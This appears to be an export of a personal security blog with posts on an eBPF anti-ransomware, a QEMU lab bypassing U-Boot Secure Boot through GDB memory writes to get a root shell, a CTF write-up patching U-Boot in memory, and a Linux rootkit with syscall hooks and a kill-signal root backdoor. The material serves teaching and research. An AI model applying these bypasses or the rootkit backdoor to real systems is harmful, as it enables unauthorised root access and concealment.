
[{"content":"","date":"22 April 2026","externalUrl":null,"permalink":"/tags/c/","section":"Tags","summary":"","title":"C","type":"tags"},{"content":"","date":"22 April 2026","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"Disclaimer: This tool is a Proof of Concept (PoC).\nEurope is currently starting to rotate towards Linux and less american software in general, meaning that a lot of new Linux users are going to be exposed to a lot of new threats, ransomware being one of the most common and dangerous ones. I wanted to create a tool that could help protect these new users from ransomware attacks, and I thought that using eBPF would be a great way to do it. Obviously, this is not a complete solution, but it is a good starting point for anyone interested in learning how to use eBPF for security purposes.\nWhat is eBPF? # eBPF (extended Berkeley Packet Filter) is a powerful technology that allows you to run custom code in the Linux kernel without needing to modify the kernel itself. It provides a safe and efficient way to monitor and manipulate system behavior in real-time. This makes it an ideal tool for creating security solutions like an anti-ransomware. With eBPF, we can hook into various kernel events, such as file operations, and analyze them to detect and block suspicious activity. However it is important to note that eBPF has some limitations, such as a limited instruction set and strict safety checks, which can make it challenging to implement complex logic. Despite these challenges, eBPF offers a powerful and flexible platform for building security tools that can help protect Linux users from ransomware and other threats.\nKnowing that, we can divide the project into two parts: the eBPF program that will run in the kernel and monitor file operations, and the user-space program that will load the eBPF program and handle the logic for blocking suspicious activity, the last part is known as a daemon.\nThe logic behind the anti-ransomware # The main idea of this project is to not use any kind of signature, meaning we actually need to flag a process as malicious to kill it. To do that, we need to find something that characterizes ransomware, and the most obvious one is the fact that ransomware encrypts files. Thus, we need to monitor writing operations on files, and if we detect a process that is writing gibberish data, we can flag it as malicious and kill it. But how can our program know if the data being written is non-sense or not ? Well, there is something called entropy that can be used to measure the randomness of data, and it is commonly used in cryptography to measure the strength of encryption. The idea is that if a process is writing data with high entropy, it is likely that it is encrypting files, and thus we can flag it as malicious.\nSo now, our program is able to detect a suspicious process, but we still need to find a way to block it. The funniest way to do that is to simply kill the process, but that comes with a big problem:\nHow do we differentiate a malicious process from a legitimate one that is just writing random data (like a compressor for example) ?\nWell, in the real world, this will be a problem, and there is no perfect solution to it, but for the sake of this project, we build a simple whitelist of processes that are allowed to write high entropy data. This whitelist is generated at build-time, taking all binaries from /usr/bin, /usr/sbin, /snap/bin\u0026hellip;, and thus allowing all legitimate processes to write high entropy data without being flagged as malicious. This is not a perfect solution, but it is a good starting point for this project.\n(To upgrade this without it becoming a real EDR solution, we could add a system of reputation for processes, that would add points to a process each time it writes high entropy data, and remove points each amount of time, and if a process reaches a certain threshold of points, it would be flagged as malicious and killed. This way, we could allow some false positives without killing legitimate processes, while still being able to block malicious ones. But this is not a perfect answer either, and it is out of the scope of this project, so I will not implement it for now)\nBut what happens if a process is flagged, killed and restarted ?!\nWe need to add a blacklist as well, storing all the processes that have been flagged as malicious, and if a process is in the blacklist, it will be killed immediately without being allowed to write any data. This way, even if a process is restarted, it will still be blocked from writing data.\nOk ! We got most of the idea, now, it is time to go to war !\nThe eBPF program # First of all, we need to gather every binary and library we need, and i will not explain how to get them since I made it automatic if you build the project.\nHow do we make the eBPF talk to the daemon ? As i was saying before, eBPF has a limit of ressource and on top of that, this is still a program that is not allowed to sleep. Without a daemon user-space, we would need to do all the entropy checks, blacklist and whitelist check in an incredible narrow window to make sure that we don\u0026rsquo;t slow the system. We can see that this is really hard, and fortunatly, we don\u0026rsquo;t have to. eBPF has a system of shared memory, allowing us to communicate with a process in user-space (our daemon).\nWhat information will we send to the daemon then ? We need to send the process id (PID), the thread group id (TGID), the file descriptor (FD), the current name of the command (comm), the size of the data being written and the program inode. With this information, the daemon will be able to do all the checks and decide if the process is malicious or not. Of course, we can not send all the data being written to the daemon, since it can be really big, but we can read a chunk of 512 bytes (the size of a memory page) and send it to the daemon to calculate the entropy. This way, we can have a good estimation of the entropy without sending too much data to the daemon. We will take the middle of the data being written to make sure we are not sending only the header of the file, which can be really similar for different files and thus not giving us a good estimation of the entropy.\nNow, we hook the syscall sys_enter_write ! This syscall is called each time a process is writing data to a file, and it is the perfect place to hook to monitor file operations.\nHowever, if we leave it like that, we just monitor write operations, but it means that every write operation will be monitored, even the ones that are done by a whitelisted process, and thus we will be doing a lot of useless work. To avoid that, we need to do the check inside the ePBF program and only send the information to the daemon if the process is not whitelisted. This way, we can avoid doing a lot of useless work and only monitor the processes that are not whitelisted.\nTo do that, we can declare a map in eBPF that will store the whitelist, and we can check if the process is in the whitelist before sending the information to the daemon. This way, we can avoid doing a lot of useless work and only monitor the processes that are not whitelisted.\nWe will also need to declare a map for the blacklist, to store the processes that have been flagged as malicious, and if a process is in the blacklist, we will kill it immediately without sending any information to the daemon.\n#define MAX_ENTRIES 10240 struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u64); __type(value, __u8); } *whitelist* SEC(\u0026#34;.maps\u0026#34;); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u64); __type(value, __u8); } *blacklist* SEC(\u0026#34;.maps\u0026#34;); As seen in the code snippet above, we declare two maps, one for the whitelist and one for the blacklist, both of type BPF_MAP_TYPE_HASH, with a maximum of 10240 entries, and with a key of type __u64 (the inode) and a value of type __u8 (useless data).\nWhy a hashmap with the inode as a key ? Because the inode is a unique identifier for a file in the filesystem, and it is not possible for two different files to have the same inode. This way, we can be sure that we are whitelisting or blacklisting the correct file, even if there are multiple copies of the same file in the system.\nWhy a hashmap with a useless value ? Because we just need to check if the file is in the whitelist or in the blacklist, we don\u0026rsquo;t need to store any additional information, and thus we can just store a useless value to save space.\nNow, we can just check the inode of the current process is in the whitelist or in the blacklist, and if it is in the whitelist, we do nothing, if it is in the blacklist, we kill the process immediately, and if it is not in either of them, we send the information to the daemon to do the checks and decide if the process is malicious or not.\nNice, now time for the user-space !\nThe daemon # This is where all the logic happens, this is where we calculate the entropy, check the whitelist and the blacklist, and decide if a process is malicious or not. This is also where we will add a lot of features in the future, like the reputation system that I was talking about before.\nFor now, here is a list of what we need to do in the daemon:\nLoad the eBPF program and get data from it. Calculate the entropy of the data received and react accordingly. Update the whitelist hashmap from the file whitelist.txt, and the blacklist hashmap from the file blacklist.txt. Load the eBPF # First of all, we use the command bpftool gen skeleton, it will generate a header file that we will use to load the eBPF program. This header file contains a function that will load the eBPF program and return a pointer to it, and it also contains the definitions of the maps that we declared in the eBPF program, so we can use them in the daemon.\nTo gather the data sent by the eBPF program, we will use the ring buffer. It contains a buffer of 512 char. We use ring_buffer__new(), so that when a new buffer is sent through the ring buffer, we catch it and send it to the function entropy_calculus. But how do we wait for a new entry ? We will use epoll which will tell us when the ring buffer has sent new data.\nNow, the daemon will wait for an update from our eBPF program !\nCalculate the entropy # To flag a malicious process, we need to give our anti-ransomware a way to detect them ! To do that, we will use the power of mathematics. Thanks to Mr Shannon, we have an equation to calculate the entropy of a list of numbers. With the hexadecimal char we give to the function, it should return a float number between 0 and 8. The closest it is to 8, the more probable it is that this process is encrypting datas. Thus, we need to take the equation :\nUnfortunatly, I am not keen of equation and my little brain is made for computer code and not demon language, but i found the equivalent in C code !\nAnd now, our daemon is computing the data that the eBPF program sends to know if the process we are looking at is a malicious one or not ! We just have to add a check after the function that checks if the value returned by the calculate_shannon_entropy function is higher than a certain number (7.3 in our case), and if so, adds the malicous process\u0026rsquo;s inode to blacklist.txt.\nUpdate hashmaps # To make sure our anti-ransomware is always up to date, we need to add the content of whitelist.txt and blacklist.txt everytime we launch it. In top of that, we need to make sure that everytime one of those two list is updated, we can update the hashmaps accordingly. To do that, we will use epoll again, however, we need it to tells us when these files have changed. To do that, we won\u0026rsquo;t use epoll in the first place, we will use inotify, a kernel subsystem that monitors changes to the filesystem for us. We will use it to send a notification when one file has been updated, then epoll will watch over inotify so that when we get a notification, it stops sleeping to update the list that has been changed.\nTesting with a ransomware ! # Yes. To be certain that the anti-ransomware is working, we need to let lose a ransomware. Of course, i will not use a real one, but make a safe one, we don\u0026rsquo;t want to lose everything because of one test !\nTo prove the project is working, we need a program that writes into files with high entropy. We will just use /dev/urandom and write the output into a file, let\u0026rsquo;s do it !\nint main() { FILE *fd = fopen(\u0026#34;/dev/urandom\u0026#34;, \u0026#34;r\u0026#34;); int count = 0; char buf[4096]; if (!fd) { printf(\u0026#34;Can\u0026#39;t open urandom\\n\u0026#34;); return -1; } count = fread(buf, 4096, 1, fd); fclose(fd); printf(\u0026#34;I\u0026#39;ve read the random data I need, now, i\u0026#39;ll write it !\\n\u0026#34;); if (count) { fd = fopen(\u0026#34;safe_test.txt\u0026#34;, \u0026#34;w\u0026#34;); fwrite(buf, 4096, 1, fd); printf(\u0026#34;Written ! This means that I am not dead !\\n\u0026#34;); } fclose(fd); } Let\u0026rsquo;s launch the eBPF protector !\nWe can see that the daemon has updated the blacklist map and the whitelist map. It took what where in both .txt file and put it into the corresponding hashmap.\nNow we need to start the ransomware.\nBut the ransomware worked ! Well, it\u0026rsquo;s because of the architecture of our anti-ransomware. Because we use eBPF, we can not sleep, meaning that we give the data to the user-space daemon, but we don\u0026rsquo;t stop the writing, and thus, the file has been effectively encrypted.\nHowever, it is a the lesser evil.\nAfter the write, our daemon reacted as quick as possible, killing the process, but it was already dead.\nYet, let\u0026rsquo;s look at our daemon\u0026rsquo;s logs:\nIt worked ! The ransomware is now in the blacklist.txt, meaning that it will not be able to perform any other write before being killed.\nWe sacrified one file to save thousands\nLet\u0026rsquo;s try another time !\nWe can see that the ransomware has been shut down immediatly.\nThe point of this detector is not to erase the ransomware before execution, that is what a regular EDR would do. The detector is just making sure that if a ransomware has passed through your security, it will not be able to perform a full system encryption.\nThere is a lot of improvement to do to make this detector a usable security program, but it uses cool tools and has all the basic we need. It was my first blue-team oriented project for this blog and I hope you found it as fun as i did !\n","date":"22 April 2026","externalUrl":null,"permalink":"/posts/anti-ransomware/","section":"Posts","summary":"","title":"Deep Dive: Writing an eBPF-based Anti-Ransomware in C","type":"posts"},{"content":"","date":"22 April 2026","externalUrl":null,"permalink":"/tags/ebpf/","section":"Tags","summary":"","title":"EBPF","type":"tags"},{"content":"","date":"22 April 2026","externalUrl":null,"permalink":"/tags/edr/","section":"Tags","summary":"","title":"EDR","type":"tags"},{"content":"","date":"22 April 2026","externalUrl":null,"permalink":"/tags/kernel/","section":"Tags","summary":"","title":"Kernel","type":"tags"},{"content":"","date":"22 April 2026","externalUrl":null,"permalink":"/tags/linux/","section":"Tags","summary":"","title":"Linux","type":"tags"},{"content":"","date":"22 April 2026","externalUrl":null,"permalink":"/","section":"Malware Kindergarten","summary":"","title":"Malware Kindergarten","type":"page"},{"content":"","date":"22 April 2026","externalUrl":null,"permalink":"/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"","date":"22 April 2026","externalUrl":null,"permalink":"/categories/projects/","section":"Categories","summary":"","title":"Projects","type":"categories"},{"content":"","date":"22 April 2026","externalUrl":null,"permalink":"/tags/ransomware/","section":"Tags","summary":"","title":"Ransomware","type":"tags"},{"content":"","date":"22 April 2026","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"Hi traveller,\nI\u0026rsquo;m JustThinkingHard, a passionate security researcher and hardware enthusiast. I created this blog to share my journey through the fascinating world of cybersecurity, hardware hacking, and reverse engineering. If you\u0026rsquo;re here, it\u0026rsquo;s probably because you share the same curiosity and love for deep technical dives.\nI like to break stuff, understand how it works and try to make it better.\nMy Background # If you\u0026rsquo;d like to know more about my professional experience, skills, or academic background, I have made my resume available. You can view or download it directly right here:\nView my Resume\nGet in Touch # If a post resonated with you, if you have a question, or if you just want to connect, feel free to find me on GitHub or reach out at justthinkinghard@proton.me.\n🌐 Cool nerds with pretty blogs # Auteqia Digital garden \u0026 security notes Tux-hoping Linux, privacy \u0026 tech adventures Thanks for stopping by, and happy reading!\n","date":"20 March 2026","externalUrl":null,"permalink":"/aboutme/","section":"Malware Kindergarten","summary":"","title":"About Me","type":"page"},{"content":" Done: # Write posts about previous projects Create a Linux rootkit Create a Windows malware (Horrible task, but I did it) Create a U-Boot Secure Boot bypass lab To do: # Be fluent in ARM64 assembly Reverse engineer a real hardware device (probably a router or a smart TV) Reverse more in general Learn more about hardware security (side channels, fault injection, etc.) Create a PCIe DMA attack lab (with an FPGA card, using PCILeech for example) Future projects: # Host an open source IA to help with reverse engineering and hardware security. Current idea is to make a plugin in Ghidra that can be used to automatically rename functions, variables, etc. based on the context and the code. It would be a great help for reverse engineers and security researchers. (Obviously, this has already been done, but I want to make my own version to hold my own data and to have a better understanding of how it works)\nCreate a custom meta-layer containing all the tools an ethical hacker needs to do their job. The attacker would simply have to flash the output of the Yocto build on a custom board (probably a Raspberry Pi) and would have all the tools they need to do their job. The meta-layer would contain tools to attack networks, hardware, software, etc. It would be a great help for ethical hackers and security researchers. (This is a long term project, but I think it would be really cool to have a custom meta-layer capable of developing modular embedded firmware, tailorable to an attacker\u0026rsquo;s specific requirements and tactical needs)\n","date":"20 March 2026","externalUrl":null,"permalink":"/todo-list/","section":"Malware Kindergarten","summary":"","title":"To do list","type":"page"},{"content":"","date":"19 March 2026","externalUrl":null,"permalink":"/tags/arm64/","section":"Tags","summary":"","title":"ARM64","type":"tags"},{"content":" Bypassing U-Boot Secure Boot via DMA Attack (QEMU Lab) # Today, we are diving into a formidable hardware attack: bypassing Secure Boot using a DMA (Direct Memory Access) attack.\nThe scenario is a classic in hardware security challenges. We have an ARM64 architecture where U-Boot is configured with Secure Boot enabled. It loads a Linux kernel encapsulated in a FIT Image, verifies its cryptographic signature (RSA 4096), and if it\u0026rsquo;s legitimate, boots it. The chain of trust is cryptographically flawless.\nBut what happens if we attack the RAM after the verification, but before the execution? This is what we call a TOCTOU (Time-Of-Check to Time-Of-Use) vulnerability. In this post, we will set up a complete QEMU lab to simulate this attack and pop a root shell.\nLab Setup # Before breaking everything, we need to build our target. I scripted the environment to make our lives easier.\nRequired dependencies:\nqemu-system-aarch64 (v7.0+) gcc-aarch64-linux-gnu (cross-compiler) mtools \u0026amp; dosfstools (for forging the FAT SD card) openssl (for generating the signing keys) gdb-multiarch (our injection weapon) For the project structure, simply clone U-Boot and Buildroot (to get a minimalist Linux kernel) at the root, then run the setup script:\ngit clone https://github.com/u-boot/u-boot.git git clone https://github.com/buildroot/buildroot.git cd src chmod +x setup_lab.sh ./setup_lab.sh setup Technical note: The script generates a dynamic Device Tree (DTB) from QEMU, injects our RSA public key into it, seals the kernel in a FIT Image, and places everything on a virtual SD card.\nOnce ready, start the machine:\n./setup_lab.sh run Theory: How Do the \u0026ldquo;Pros\u0026rdquo; Do It? # In the real world, the attacker doesn\u0026rsquo;t type magic commands on their keyboard. They open the device\u0026rsquo;s case and plug an FPGA card (often flashed with the PCILeech project) into a PCIe or Thunderbolt port.\nThe goal is to use the DMA channel to read and write to the physical RAM at the speed of light, completely bypassing the central processor. The attacker lets U-Boot calculate the SHA256 hash of the kernel in RAM. The verification passes. But in the microsecond separating this \u0026ldquo;OK\u0026rdquo; from the actual Linux boot, the FPGA bombards the target memory to overwrite the legitimate code with a malicious payload.\nIn our virtual lab, we don\u0026rsquo;t have an FPGA. Our DMA attack tool will be GDB. It will allow us to pause the motherboard and alter the RAM manually with the precision of a surgeon.\nAttack Level 1: Overwriting the Kernel (Pwned) # We start with a simple proof of concept: replacing the legitimate kernel with a small shellcode (pwned.bin) that prints a message and halts.\nFirst, build the payload with make pwned, then launch the attack sequence with ./setup_lab.sh attack.\nIn another terminal, pull out your virtual PCIe card:\ngdb-multiarch Connect to the QEMU debug server, and place a hardware breakpoint exactly where the kernel will be executed in RAM (0x40200000):\n(gdb) target remote localhost:1234 (gdb) hb *0x40200000 (gdb) c U-Boot verifies the signature, prints OK, and gets ready to boot. QEMU freezes on the message Starting kernel .... This is our TOCTOU window. We brutally inject our binary into RAM to overwrite the kernel, then resume execution:\n(gdb) restore pwned.bin binary 0x40200000 (gdb) c Result: U-Boot validated a legitimate Linux kernel, but is now executing our shellcode. Secure Boot bypassed.\nAttack Level 2: Open Sesame (Root Shell) # Crashing the machine is fun. Getting an interactive passwordless root shell is better.\nThis time, we won\u0026rsquo;t overwrite the entire kernel, but rather modify its boot arguments (bootargs) located in the Device Tree in RAM. Our goal: force Linux to run init=/bin/sh.\n1. Hunting in Memory # In GDB (still frozen at the kernel start), the $x0 register holds the address of the Device Tree. We look for the legitimate string passed by U-Boot:\n(gdb) find $x0, +0x100000, \u0026#34;root=/dev/vdb\u0026#34; GDB returns an address. The problem: we can\u0026rsquo;t overwrite root=/dev/vdb, because Linux absolutely needs it to mount the filesystem. We must find a \u0026ldquo;sacrificial\u0026rdquo; zone nearby.\nLet\u0026rsquo;s do a quick RAM autopsy to see the full sentence. We step back a few dozen bytes and display the memory as a string:\n(gdb) x/s OUTPUT_OF_FIND_COMMAND - 42 (Feel free to play with the offset to align the string properly). Bingo! The memory reveals the exact line: console=ttyAMA0 earlycon=pl011,0x09000000 root=/dev/vdb\n2. Cannibalizing the RAM # In embedded systems, memory allocation is strict. If we lengthen the string, we will overwrite neighboring Device Tree components and trigger a Kernel Panic. We must \u0026ldquo;cannibalize\u0026rdquo; the existing space, down to the exact character count.\nThe perfect target is earlycon=pl011,0x09000000. It\u0026rsquo;s useful for early debug logs, but not vital for the boot process. We will overwrite this part with our init=/bin/sh payload.\nPrecision calculation: The offset between the beginning of the string and the word earlycon is 16 bytes. We will fill the remaining gap with spaces so we don\u0026rsquo;t shift the root=/dev/vdb that comes right after. The payload will be exactly the same size (25 characters): \u0026quot;init=/bin/sh \u0026quot;.\n3. The Final Injection # We launch the surgical strike:\n(gdb) set {char[25]} (ADDRESS_OF_BOOTARGS_STRING + 16) = \u0026#34;init=/bin/sh \u0026#34; (gdb) c Linux launches. It reads its altered RAM configuration, initializes its disks, and instead of spawning the classic authentication process\u0026hellip; it graciously hands us a # shell with root privileges.\nConclusion # This lab demonstrates a harsh reality of Hardware Security: software cryptography is useless if the underlying hardware is not protected against direct memory access.\nEven with a perfectly implemented Secure Boot and robust RSA 4096 keys, a DMA attack can corrupt system integrity just before its use. To defend against this kind of attack in the real world, modern architectures must rely on hardware units like the IOMMU (which filters illegitimate DMA requests)—provided the bootloader is capable of configuring it early enough!\nHappy hacking!\n","date":"19 March 2026","externalUrl":null,"permalink":"/posts/bypass-secureboot-in-u-boot/","section":"Posts","summary":"","title":"Deep Dive: Bypassing U-Boot Secure Boot via DMA Attack (QEMU Lab)","type":"posts"},{"content":"","date":"19 March 2026","externalUrl":null,"permalink":"/tags/dma-attack/","section":"Tags","summary":"","title":"DMA Attack","type":"tags"},{"content":"","date":"19 March 2026","externalUrl":null,"permalink":"/tags/hardware/","section":"Tags","summary":"","title":"Hardware","type":"tags"},{"content":"","date":"19 March 2026","externalUrl":null,"permalink":"/tags/qemu/","section":"Tags","summary":"","title":"QEMU","type":"tags"},{"content":"","date":"19 March 2026","externalUrl":null,"permalink":"/tags/secure-boot/","section":"Tags","summary":"","title":"Secure Boot","type":"tags"},{"content":"","date":"19 March 2026","externalUrl":null,"permalink":"/tags/u-boot/","section":"Tags","summary":"","title":"U-Boot","type":"tags"},{"content":"","date":"26 February 2026","externalUrl":null,"permalink":"/tags/bootloader/","section":"Tags","summary":"","title":"Bootloader","type":"tags"},{"content":"","date":"26 February 2026","externalUrl":null,"permalink":"/tags/fcsc/","section":"Tags","summary":"","title":"FCSC","type":"tags"},{"content":"","date":"26 February 2026","externalUrl":null,"permalink":"/tags/low-level/","section":"Tags","summary":"","title":"Low Level","type":"tags"},{"content":"","date":"26 February 2026","externalUrl":null,"permalink":"/tags/reverse-engineering/","section":"Tags","summary":"","title":"Reverse Engineering","type":"tags"},{"content":"","date":"26 February 2026","externalUrl":null,"permalink":"/tags/uefi/","section":"Tags","summary":"","title":"UEFI","type":"tags"},{"content":" Sésame, ouvre-toi (harder) # Starting point # First thing we see is the bootloader, u-boot in this case, printing informations.\nU-Boot 2023.07.02 (Jul 11 2023 - 15:20:44 +0000) DRAM: 24 MiB Core: 41 devices, 10 uclasses, devicetree: board Loading Environment from nowhere... OK In: pl011@9000000 Out: pl011@9000000 Err: pl011@9000000 Autoboot in 2 seconds ## Booting kernel from Legacy Image at 40200000 ... Image Name: EFI Shell Created: 1980-01-01 0:00:00 UTC Image Type: AArch64 EFI Firmware Kernel Image (no loading done) (uncompressed) Data Size: 1028096 Bytes = 1004 KiB Load Address: 00000000 Entry Point: 00000000 Verifying Checksum ... OK XIP Kernel Image (no loading done) No EFI system partition No EFI system partition Failed to persist EFI variables ## Transferring control to EFI (at address 40200040) ... Booting /MemoryMapped(0x0,0x40200040,0xfb000) We can therefore see a lot of interesting stuff, but the main thing is that we boot on an UEFI shell, not a linux system. We can not access the u-boot prompt, so we have to find another way to get the flag.\nSearch for a flaw # U-Boot need a boot command to automatically boot the system, so the first things to look for is the content of the bootcmd variable. Using strings on the bootloader.bin file, we can find the following line:bootcmd=bootm 0x40200000; poweroff. This means that the bootloader will try to execute the code at address 0x40200000 and then power off the system.\nWe can then assume that, if the bootm command is returning an error, the command will stop there and give us the prompt back, without powering off the system. However, we can not write to the memory address 0x40200000, because it would require to find where the UEFI image is stored in memory, tamper with it and hope that u-boot is not checking the integrity of the image before executing it but thanks to the boot information, we know that the image has a checksum, so it is likely that the integrity of the image is checked before executing it.\nAlthough we can not tamper directly with the image on the disk, we can try to find a way to tamper with the memory.\nMemory tampering # U-Boot is loaded into memory and, since we have the image of the bootloader, we can reverse it to see how it is executed and if there is a way to tamper with it.\nAt this point, the plan is clear: Reverse the bootloader, find the function poweroff, replace the first line of the function by \u0026ldquo;return 0\u0026rdquo; and then type exit in the shell to end the bootm command, which will then jump on the poweroff function, which will do nothing and return 0, giving us the prompt back without powering off the system.\nTo print memory, we have the function dmem, which is a simple function that takes an address as argument and prints the content of the memory at that address. To write to memory, we have the mm function, which takes an address and a value as argument and writes the value to the memory at that address.\nBut now, we need to figure out where the poweroff function is located !\nReverse time ! # I used Ghidra to reverse the bootloader. To start, i searched for the string \u0026ldquo;poweroff\u0026rdquo; and found where it is stored in the binary. We can see that there is two references to this string. If we follow them, we end up on the same function.\nWe can see that there are two functions called afterwards. Let\u0026rsquo;s look into the first one:\nThis is kind of hard to read but this function is too little to be the poweroff function, meaning it is probably a wrapper function or a set up. Let\u0026rsquo;s look into the second one: This function is looking way more like a poweroff function, and we can even see the print \u0026quot;Powering off...\u0026quot; (s_power_off...) ! However, since U-Boot\u0026rsquo;s command table points to the wrapper function (0x0000d314) as the default entry point for the command, this is the one we need to patch. By replacing the first instruction of this wrapper with a \u0026ldquo;RET\u0026rdquo;, it will return immediately and never call the actual poweroff routine\nNow, we have the address of the first instruction of the poweroff function, which is at the address 0x0000d314. The plan is to replace the first instruction by \u0026ldquo;RET\u0026rdquo; which is 0xd65f03c0 in arm64. However, we need to keep in mind that we are in little endian, so we must write \u0026lsquo;C0 03 5F D6\u0026rsquo; to the memory address of the first instruction of the poweroff function.\nEasy as that ?! # To write the value to memory, we do mm 0xADDRESS, address being the address we found (0x0000d314), so in theory if we do the command and write C0 03 5F D6 to the memory, we should be able to type exit in the shell and get the prompt back without powering off the system.\nlet\u0026rsquo;s try it !\nWhy does it not work ? We are writing the correct value to the correct address, so it should work, but it does not.\nThe problem is that the address we found is the address of the instruction in the binary, but when the binary is loaded in memory, it is loaded at a different address. We need to find the base address of the binary in memory and then add the offset of the instruction to get the correct address to write to.\nLet\u0026rsquo;s end it # Lucky for us, we have the dmem function that allows us to print the content of memory at a given address. I searched for the bootcmd variable in memory and found it.\nNow that I have the address of a variable in memory, i can search for the address of this exact variable in the binary.\nWe need to calculate the offset of the memory. The address of the variable in the binary is 0x0006c805, and the address of the variable in memory is 0x417bd805, so the offset is 0x41751000.\nWe now have the offset where U-Boot is loaded in memory. If we add this offset to the address of the first instruction of the poweroff function (0x0000d314), we get the correct address to write to, which is 0x4175e314.\nNow, we can write the value as we did before but with the correct address :\nFlag # After we type exit in the shell, we get the prompt back without powering off the system ! Now, we need to find the flag. A quick printenv shows us that there is an environment variable called printflag :\nprintflag=hash sha256 40900100 1000 flaghash; echo FCSC{$flaghash}; We only need to execute this command to get the flag !\n","date":"26 February 2026","externalUrl":null,"permalink":"/posts/fcsc-s%C3%A9same-ouvre-toi-harder/","section":"Posts","summary":"","title":"Write-up: FCSC | Sésame, ouvre-toi (harder)","type":"posts"},{"content":"","date":"26 February 2026","externalUrl":null,"permalink":"/categories/write-ups/","section":"Categories","summary":"","title":"Write-Ups","type":"categories"},{"content":" 📥 Download the PDF Your browser cannot display the PDF directly.\nClick here to download it. ","date":"27 January 2026","externalUrl":null,"permalink":"/cv/","section":"Malware Kindergarten","summary":"","title":"My Curriculum Vitae","type":"page"},{"content":"","date":"26 January 2026","externalUrl":null,"permalink":"/tags/linux-kernel/","section":"Tags","summary":"","title":"Linux Kernel","type":"tags"},{"content":"","date":"26 January 2026","externalUrl":null,"permalink":"/tags/malware-dev/","section":"Tags","summary":"","title":"Malware Dev","type":"tags"},{"content":"In the world of cybersecurity, there is a distinct line between \u0026ldquo;User Space\u0026rdquo; (Ring 3) and \u0026ldquo;Kernel Space\u0026rdquo; (Ring 0). User space is where your browser, text editor, and shell live. It is safe, restricted, and monitored. Kernel space is the Wild West. It is where the hardware is controlled, where memory is managed, and crucially where the rules of reality for the operating system are defined.\nFor my latest project, I decided to cross that line. I developed a Linux Rootkit as a Loadable Kernel Module (LKM).\nDisclaimer: This project was developed strictly for educational purposes to understand OS internals and malware behavior. The techniques discussed here should never be used on systems without explicit authorization.\nThe Objective # The goal was to create a stealthy kernel module capable of:\nHiding itself from the list of loaded modules. Hiding files and directories from standard tools like ls. Hiding processes from tools like ps or top. Providing a Backdoor for instant root privilege escalation. Establishing covert communication channels. The Core Mechanism: Syscall Hooking # The Linux kernel interacts with user space programs via System Calls (syscalls). When you run ls, the program doesn\u0026rsquo;t actually look at the disk; it asks the kernel to do it via the sys_getdents64 syscall. When you run kill, it calls sys_kill.\nTo control the system, we don\u0026rsquo;t need to replace the tools; we just need to intercept these phone calls.\nThe Challenge: Control Register 0 (CR0) # In older versions of Linux, you could simply overwrite the sys_call_table. However, modern kernels have the Write Protect (WP) bit set in the CR0 register, preventing modification of the syscall table.\nWhile it is possible to disable this bit, a cleaner and more modern approach (and the one I utilized) involves using Ftrace (Function Tracer).\nThe Ftrace Solution # Ftrace is a debugging framework built into the kernel. It allows us to attach a callback to almost any function in the kernel. We can modify the instruction pointer (RIP) of a specific syscall to point to our malicious function instead of the real one.\n// Simplified Hooking Logic static struct ftrace_hook hooks[] = { HOOK(\u0026#34;sys_getdents64\u0026#34;, hook_getdents64, \u0026amp;orig_getdents64), HOOK(\u0026#34;sys_kill\u0026#34;, hook_kill, \u0026amp;orig_kill), }; Feature 1: The Art of Invisibility (Hiding Files) # How do you hide a file named malware_data? You hook sys_getdents64.\nThis syscall is responsible for listing the contents of a directory. It fills a buffer with linux_dirent64 structures. My hook works like a Man-in-the-Middle:\nIntercept: The user asks for a directory listing. Call Original: We call the real sys_getdents64 to get the actual data. Filter: We iterate through the returned buffer in memory. If we find a filename containing our magic prefix (e.g., hidden_), we memmove the rest of the buffer over it, effectively erasing it from existence. Return: We give the filtered buffer to the user. To the user—and to the ls command—the file simply does not exist.\nFeature 2: The Magic Backdoor (Privilege Escalation) # A rootkit isn\u0026rsquo;t useful if you don\u0026rsquo;t have root access. To achieve persistence, I implemented a hook on the sys_kill syscall.\nNormally, kill is used to send signals to processes. I modified it to listen for a specific, unused signal (e.g., Signal 64).\nasmlinkage int hook_kill(pid_t pid, int sig) { if (sig == 64) { // The Magic Phrase was spoken! struct cred *new_creds = prepare_kernel_cred(NULL); // Create root creds commit_creds(new_creds); // Apply to current process return 0; } return orig_kill(pid, sig); // Otherwise, act normal } Now, any user on the system can simply type kill -64 1 in the terminal. Instead of sending a signal, the kernel grants that user\u0026rsquo;s shell uid=0 (Root) instantly. No passwords, no sudo logs.\nFeature 3: Secret Connections # The project also involved opening sockets directly from kernel space. This bypasses standard user-space firewalls that might be monitoring specific binaries. By utilizing kernel_sock_shutdown and call_usermodehelper, the rootkit can initiate a reverse shell to a remote listener, removing the process from user-space visibility. However, with the correct command, users can still see the connection to the remote server, but not the process itself.\nChallenges and Kernel Panics # Developing in Ring 0 is unforgiving. In C++, if you make a memory error, you get a \u0026ldquo;Segmentation Fault\u0026rdquo; and the program crashes. In Kernel C, if you dereference a null pointer or mess up a list pointer, the entire operating system crashes (Kernel Panic).\nDebugging involved setting up QEMU virtualization and analyzing crash dumps to ensure the hooks were stable and thread-safe.\nConclusion # This project was a fascinating journey into the depths of the Linux Operating System. It required a solid understanding of:\nC Programming (Memory management, pointers, structs). Assembly (Understanding registers and calling conventions). Operating System Architecture (VFS, Process Scheduling, Interrupts). By building the weapon, I learned exactly how to defend against it. Understanding how LKMs can be manipulated is crucial for forensic analysis and hardening Linux systems against advanced persistent threats.\n","date":"26 January 2026","externalUrl":null,"permalink":"/posts/rootkit/","section":"Posts","summary":"","title":"Ring 0 Operations: Building a Linux Rootkit from Scratch","type":"posts"},{"content":"","date":"26 January 2026","externalUrl":null,"permalink":"/tags/rootkit/","section":"Tags","summary":"","title":"Rootkit","type":"tags"},{"content":"","date":"20 January 2026","externalUrl":null,"permalink":"/tags/attack/","section":"Tags","summary":"","title":"Attack","type":"tags"},{"content":"","date":"20 January 2026","externalUrl":null,"permalink":"/tags/cve/","section":"Tags","summary":"","title":"CVE","type":"tags"},{"content":"There is an old adage in cybersecurity: \u0026ldquo;If a bad guy has unrestricted physical access to your computer, it\u0026rsquo;s not your computer anymore.\u0026rdquo;\nOften, people assume this means taking apart the laptop to dump memory or soldering wires to the motherboard. But sometimes, it’s as simple as plugging in a USB drive for ten seconds while the target 